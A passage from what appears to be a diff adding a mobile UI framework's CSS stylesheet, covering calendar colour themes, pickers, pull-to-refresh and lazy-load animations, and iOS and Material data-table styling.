.calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-right.calendar .calendar-week-header, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.md .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.md .theme-dark .calendar-week-header { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .calendar-day.calendar-day-disabled { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day.calendar-day-prev, +.md .theme-dark .calendar-day.calendar-day-next { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .calendar-modal, +.calendar-modal.md .theme-dark { + background: #202020; +} +.md .theme-dark .calendar.calendar-sheet:before, +.calendar.md .theme-dark.calendar-sheet:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .calendar .toolbar, +.calendar.md .theme-dark .toolbar { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar .toolbar a.link:before, +.calendar.md .theme-dark .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .calendar .toolbar a.link.active-state:before, +.calendar.md .theme-dark .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .calendar .toolbar a.link .ripple-wave, +.calendar.md .theme-dark .toolbar a.link .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .color-theme-red .calendar-header, +.md .color-red .calendar-header { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-today span, +.md .color-red .calendar-day.calendar-day-today span { + color: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-has-events span:after, +.md .color-red .calendar-day.calendar-day-has-events span:after { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-selected span, +.md .color-red .calendar-day.calendar-day-selected span { + background: #f44336; + color: #fff; +} +.md .color-theme-red .calendar-day.calendar-day-selected span:after, +.md .color-red .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-green .calendar-header, +.md .color-green .calendar-header { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-today span, +.md .color-green .calendar-day.calendar-day-today span { + color: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-has-events span:after, +.md .color-green .calendar-day.calendar-day-has-events span:after { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-selected span, +.md .color-green .calendar-day.calendar-day-selected span { + background: #4caf50; + color: #fff; +} +.md .color-theme-green .calendar-day.calendar-day-selected span:after, +.md .color-green .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-blue .calendar-header, +.md .color-blue .calendar-header { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-today span, +.md .color-blue .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-has-events span:after, +.md .color-blue .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span, +.md .color-blue .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span:after, +.md .color-blue .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-pink .calendar-header, +.md .color-pink .calendar-header { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-today span, +.md .color-pink .calendar-day.calendar-day-today span { + color: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-has-events span:after, +.md .color-pink .calendar-day.calendar-day-has-events span:after { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span, +.md .color-pink .calendar-day.calendar-day-selected span { + background: #e91e63; + color: #fff; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span:after, +.md .color-pink .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-yellow .calendar-header, +.md .color-yellow .calendar-header { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-today span, +.md .color-yellow .calendar-day.calendar-day-today span { + color: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after, +.md .color-yellow .calendar-day.calendar-day-has-events span:after { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span, +.md .color-yellow .calendar-day.calendar-day-selected span { + background: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span:after, +.md .color-yellow .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-orange .calendar-header, +.md .color-orange .calendar-header { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-today span, +.md .color-orange .calendar-day.calendar-day-today span { + color: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-has-events span:after, +.md .color-orange .calendar-day.calendar-day-has-events span:after { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span, +.md .color-orange .calendar-day.calendar-day-selected span { + background: #ff9800; + color: #fff; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span:after, +.md .color-orange .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-gray .calendar-header, +.md .color-gray .calendar-header { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-today span, +.md .color-gray .calendar-day.calendar-day-today span { + color: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-has-events span:after, +.md .color-gray .calendar-day.calendar-day-has-events span:after { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span, +.md .color-gray .calendar-day.calendar-day-selected span { + background: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span:after, +.md .color-gray .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-white .calendar-header, +.md .color-white .calendar-header { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-today span, +.md .color-white .calendar-day.calendar-day-today span { + color: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-has-events span:after, +.md .color-white .calendar-day.calendar-day-has-events span:after { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span, +.md .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; + color: #fff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span:after, +.md .color-white .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-black .calendar-header, +.md .color-black .calendar-header { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-today span, +.md .color-black .calendar-day.calendar-day-today span { + color: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-has-events span:after, +.md .color-black .calendar-day.calendar-day-has-events span:after { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-selected span, +.md .color-black .calendar-day.calendar-day-selected span { + background: #000000; + color: #fff; +} +.md .color-theme-black .calendar-day.calendar-day-selected span:after, +.md .color-black .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +/* === Picker === */ +.picker { + width: 100%; + height: 260px; +} +.picker.picker-inline, +.popover .picker { + height: 200px; +} +@media (orientation: landscape) and (max-height: 415px) { + .picker:not(.picker-inline) { + height: 200px; + } +} +.picker-popover { + width: 280px; +} +.picker-columns { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + overflow: hidden; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; + text-align: right; + height: 100%; + position: relative; + -webkit-mask-box-image: linear-gradient(to top, transparent, transparent 5%, white 20%, white 80%, transparent 95%, transparent); +} +.picker-column { + position: relative; + max-height: 100%; +} +.picker-column.picker-column-first:before, +.picker-column.picker-column-last:after { + height: 100%; + width: 100vw; + position: absolute; + content: ''; + top: 0; +} +.picker-column.picker-column-first:before { + right: 100%; +} +.picker-column.picker-column-last:after { + left: 100%; +} +.picker-column.picker-column-left { + text-align: left; +} +.picker-column.picker-column-center { + text-align: center; +} +.picker-column.picker-column-right { + text-align: right; +} +.picker-column.picker-column-divider { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.picker-items { + -webkit-transition: 300ms; + transition: 300ms; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.picker-item { + height: 36px; + line-height: 36px; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + left: 0; + top: 0; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; +} +.picker-item span { + padding: 0 10px; +} +.picker-column-absolute .picker-item { + position: absolute; +} +.picker-item.picker-item-far { + pointer-events: none; +} +.picker-item.picker-item-selected { + -webkit-transform: translate3d(0, 0, 0) rotateX(0deg); + transform: translate3d(0, 0, 0) rotateX(0deg); +} +.picker-center-highlight { + height: 36px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + width: 100%; + top: 50%; + margin-top: -18px; + pointer-events: none; +} +.picker-3d .picker-columns { + overflow: hidden; + -webkit-perspective: 1200px; + perspective: 1200px; +} +.picker-3d .picker-column, +.picker-3d .picker-items, +.picker-3d .picker-item { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.picker-3d .picker-column { + overflow: visible; +} +.picker-3d .picker-item { + -webkit-transform-origin: center center -110px; + transform-origin: center center -110px; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.ios .picker-columns { + font-size: 24px; +} +.ios .picker-column-divider { + color: #000; +} +.ios .picker-item { + color: #707274; +} +.ios .picker-item.picker-item-selected { + color: #000; +} +.ios .picker-popover .toolbar { + background: none; +} +.ios .picker-popover .toolbar:before { + display: none !important; +} +.ios .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 44px); +} +.ios .picker-popover .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .picker-item.picker-item-selected { + color: #fff; +} +.ios .theme-dark .picker-popover .toolbar:after, +.picker-popover.ios .theme-dark .toolbar:after { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:before { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:after { + background-color: #282829; +} +.md .picker-popover .toolbar { + border-radius: 2px 2px 0 0; +} +.md .picker-columns { + font-size: 20px; +} +.md .picker-column-divider { + color: rgba(0, 0, 0, 0.87); +} +.md .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 48px); +} +.md .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .picker-column-divider { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .picker-center-highlight:before { + background-color: rgba(255, 255, 255, 0.15); +} +.md .theme-dark .picker-center-highlight:after { + background-color: rgba(255, 255, 255, 0.15); +} +/* === Infinite === */ +.infinite-scroll-preloader { + margin-left: auto; + margin-right: auto; + text-align: center; +} +.infinite-scroll-preloader.preloader { + display: block; +} +.ios .infinite-scroll-preloader { + margin-top: 35px; + margin-bottom: 35px; +} +.ios .infinite-scroll-preloader .preloader, +.ios .infinite-scroll-preloader.preloader { + width: 27px; + height: 27px; +} +.md .infinite-scroll-preloader { + margin-top: 32px; + margin-bottom: 32px; +} +/* === PTR === */ +.ptr-preloader .preloader { + position: absolute; + left: 50%; +} +.ios .ptr-preloader { + position: relative; + height: 44px; + margin-top: -44px; + width: 100%; + left: 0; + top: 0; +} +.ios .ptr-preloader .preloader { + width: 27px; + height: 27px; + margin-left: -13px; + margin-top: -13px; + visibility: hidden; + top: 50%; +} +.ios .ptr-arrow { + position: absolute; + left: 50%; + top: 50%; + background: no-repeat center; + z-index: 10; + -webkit-transform: rotate(0deg) translate3d(0, 0, 0); + transform: rotate(0deg) translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + width: 13px; + height: 20px; + margin-left: -6px; + margin-top: -10px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 20px; + visibility: visible; +} +.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader { + -webkit-animation: none; + animation: none; +} +.ios .ptr-transitioning, +.ios .ptr-refreshing { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.ios .ptr-refreshing { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .ptr-refreshing .ptr-arrow { + visibility: hidden; +} +.ios .ptr-refreshing .ptr-preloader .preloader { + visibility: visible; +} +.ios .ptr-pull-up .ptr-arrow { + -webkit-transform: rotate(180deg) translate3d(0, 0, 0); + transform: rotate(180deg) translate3d(0, 0, 0); +} +.ios .ptr-no-navbar { + margin-top: -44px; + height: calc(100% + 44px); +} +.ios .ptr-no-navbar .ptr-preloader { + margin-top: 0; +} +.md .ptr-preloader { + position: absolute; + left: 50%; + top: 16px; + width: 40px; + height: 40px; + border-radius: 50%; + background: #fff; + margin-left: -20px; + margin-top: -7px; + z-index: 100; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +@media (min-width: 768px) { + .md .ptr-preloader { + top: 24px; + } +} +.md .ptr-preloader .preloader { + width: 22px; + height: 22px; + margin-left: -11px; + margin-top: -11px; + top: 50%; + visibility: hidden; +} +.md .ptr-preloader .preloader .preloader-inner-gap, +.md .ptr-preloader .preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .ptr-arrow { + width: 22px; + height: 22px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 3px solid #757575; + position: absolute; + left: 50%; + top: 50%; + margin-left: -11px; + margin-top: -11px; + border-left-color: transparent; + border-radius: 50%; + opacity: 1; + -webkit-transform: rotate(150deg); + transform: rotate(150deg); +} +.md .ptr-arrow:after { + content: ''; + width: 0px; + height: 0px; + position: absolute; + left: -5px; + bottom: 0px; + border-bottom-width: 6px; + border-bottom-style: solid; + border-bottom-color: inherit; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + -webkit-transform: rotate(-40deg); + transform: rotate(-40deg); +} +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader, +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader * { + -webkit-animation: none; + animation: none; +} +.md .ptr-refreshing .ptr-preloader .preloader, +.md .ptr-pull-up .ptr-preloader .preloader { + visibility: visible; +} +.md .ptr-refreshing .ptr-arrow, +.md .ptr-pull-up .ptr-arrow { + visibility: hidden; +} +.md .ptr-refreshing .ptr-preloader { + -webkit-transform: translate3d(0, 66px, 0); + transform: translate3d(0, 66px, 0); +} +.md .ptr-transitioning .ptr-arrow { + -webkit-transition: 300ms; + transition: 300ms; +} +.md .ptr-pull-up .ptr-arrow { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transform: rotate(620deg) !important; + transform: rotate(620deg) !important; + opacity: 0; +} +.md .ptr-transitioning .ptr-preloader, +.md .ptr-refreshing .ptr-preloader { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.md .ptr-no-navbar .ptr-preloader { + top: auto; + bottom: 100%; + margin-bottom: 7px; +} +.md .page-with-subnavbar .ptr-preloader, +.md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, +.md .searchbar ~ .ptr-content .ptr-preloader { + top: 64px; +} +@media (min-width: 768px) { + .md .page-with-subnavbar .ptr-preloader, + .md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, + .md .searchbar ~ .ptr-content .ptr-preloader { + top: 72px; + } +} +/* === Images Lazy Loading === */ +.lazy-loaded.lazy-fade-in { + -webkit-animation: lazyFadeIn 600ms; + animation: lazyFadeIn 600ms; +} +@-webkit-keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +/* === Data Table === */ +.data-table { + overflow-x: auto; +} +.data-table table { + width: 100%; + border: none; + padding: 0; + margin: 0; + border-collapse: collapse; + text-align: left; +} +.data-table thead { + font-size: 12px; +} +.data-table thead th, +.data-table thead td { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + line-height: 16px; +} +.data-table thead i.icon, +.data-table thead i.f7-icons, +.data-table thead i.material-icons { + vertical-align: top; +} +.data-table th, +.data-table td { + padding: 0; + position: relative; +} +.data-table th.numeric-cell, +.data-table td.numeric-cell { + text-align: right; +} +.data-table th.checkbox-cell, +.data-table td.checkbox-cell { + overflow: visible; +} +.data-table th.checkbox-cell label + span, +.data-table td.checkbox-cell label + span { + margin-left: 8px; +} +.data-table th.actions-cell, +.data-table td.actions-cell { + text-align: right; + white-space: nowrap; +} +.data-table th a.icon-only, +.data-table td a.icon-only, +.card .data-table th a.icon-only, +.card .data-table td a.icon-only, +.card.data-table th a.icon-only, +.card.data-table td a.icon-only { + display: inline-block; + vertical-align: middle; + text-align: center; + font-size: 0; + min-width: 0; +} +.data-table th a.icon-only i, +.data-table td a.icon-only i, +.card .data-table th a.icon-only i, +.card .data-table td a.icon-only i, +.card.data-table th a.icon-only i, +.card.data-table td a.icon-only i { + font-size: 18px; + vertical-align: middle; +} +.data-table .sortable-cell:not(.input-cell) { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell.input-cell .table-head-label { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + content: ''; + display: inline-block; + vertical-align: top; + width: 16px; + height: 16px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-size: 0; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 0; +} +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before { + opacity: 0.54; +} +.data-table .sortable-cell.sortable-cell-active:after, +.data-table .sortable-cell.sortable-cell-active .table-head-label:after, +.data-table .sortable-cell.sortable-cell-active:before, +.data-table .sortable-cell.sortable-cell-active .table-head-label:before { + opacity: 0.87 !important; +} +.data-table .sortable-cell.sortable-desc:after, +.data-table .sortable-cell.sortable-desc:after, +.data-table .table-head-label:after, +.data-table .sortable-cell.sortable-desc:before, +.data-table .sortable-cell.sortable-desc:before, +.data-table .table-head-label:before { + -webkit-transform: rotate(180deg) !important; + transform: rotate(180deg) !important; +} +.data-table.card .card-header, +.card .data-table .card-header { + height: 64px; +} +.data-table.card .card-content, +.card .data-table .card-content { + overflow-x: auto; +} +.data-table .data-table-links, +.data-table .data-table-actions { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-actions { + margin-left: auto; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.data-table .data-table-actions a.link { + min-width: 0; +} +.data-table .data-table-actions a.link.icon-only { + line-height: 1; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; +} +.data-table .data-table-header, +.data-table .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 100%; +} +.data-table .data-table-header-selected { + display: none; +} +.data-table.data-table-has-checked .data-table-header { + display: none; +} +.data-table.data-table-has-checked .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-title-selected { + font-size: 14px; +} +.data-table .data-table-footer { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 12px; + overflow: hidden; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.data-table .data-table-rows-select, +.data-table .data-table-pagination { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +@media (max-width: 480px) and (orientation: portrait) { + .data-table.data-table-collapsible thead { + display: none; + } + .data-table.data-table-collapsible tbody, + .data-table.data-table-collapsible tr, + .data-table.data-table-collapsible td { + display: block; + } + .data-table.data-table-collapsible tr { + position: relative; + } + .data-table.data-table-collapsible tr:hover { + background-color: inherit; + } + .data-table.data-table-collapsible td { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + text-align: left; + } + .data-table.data-table-collapsible td:before { + display: none !important; + } + .data-table.data-table-collapsible td:not(.checkbox-cell):before { + width: 40%; + display: block !important; + content: attr(data-collapsible-title); + position: relative; + height: auto; + background: none !important; + -webkit-transform: none !important; + transform: none !important; + font-size: 12px; + margin-right: 16px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + } + .data-table.data-table-collapsible td.checkbox-cell { + position: absolute; + top: 0; + left: 0; + } + .data-table.data-table-collapsible td.checkbox-cell + td { + padding-left: 16px; + } + .data-table.data-table-collapsible td.checkbox-cell ~ td { + margin-left: 32px; + } +} +.data-table .tablet-only, +.data-table .tablet-landscape-only { + display: none; +} +@media (min-width: 768px) { + .data-table .tablet-only { + display: table-cell; + } +} +@media (min-width: 768px) and (orientation: landscape) { + .data-table .tablet-landscape-only { + display: table-cell; + } +} +.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.theme-dark .data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .data-table thead th, +.ios .data-table thead td { + font-weight: 600; +} +.ios .data-table thead th:not(.sortable-cell-active), +.ios .data-table thead td:not(.sortable-cell-active) { + color: #8e8e93; +} +.ios .data-table thead i.icon, +.ios .data-table thead i.f7-icons { + font-size: 18px; + width: 18px; + height: 18px; +} +.ios .data-table tbody tr.data-table-row-selected { + background: #f7f7f8; +} +.ios .data-table th, +.ios .data-table td { + padding-left: 15px; + padding-right: 15px; + height: 44px; +} +.ios .data-table th.checkbox-cell, +.ios .data-table td.checkbox-cell { + width: 22px; + padding-right: 7px; +} +.ios .data-table th.checkbox-cell + td, +.ios .data-table td.checkbox-cell + td, +.ios .data-table th.checkbox-cell + th, +.ios .data-table td.checkbox-cell + th { + padding-left: 8px; +} +.ios .data-table th.actions-cell a.link + a.link, +.ios .data-table td.actions-cell a.link + a.link { + margin-left: 15px; +} +.ios .data-table th.actions-cell a.icon-only, +.ios .data-table td.actions-cell a.icon-only { + width: 18px; + height: 18px; + line-height: 18px; +} +.ios .sortable-cell:not(.numeric-cell):after { + margin-left: 5px; +} +.ios .sortable-cell.numeric-cell:before { + margin-right: 5px; +} +.ios .data-table.card .card-header, +.ios .card .data-table .card-header, +.ios .data-table.card .card-footer, +.ios .card .data-table .card-footer { + padding-left: 15px; + padding-right: 8px; +} +.ios .data-table-title { + font-size: 17px; + 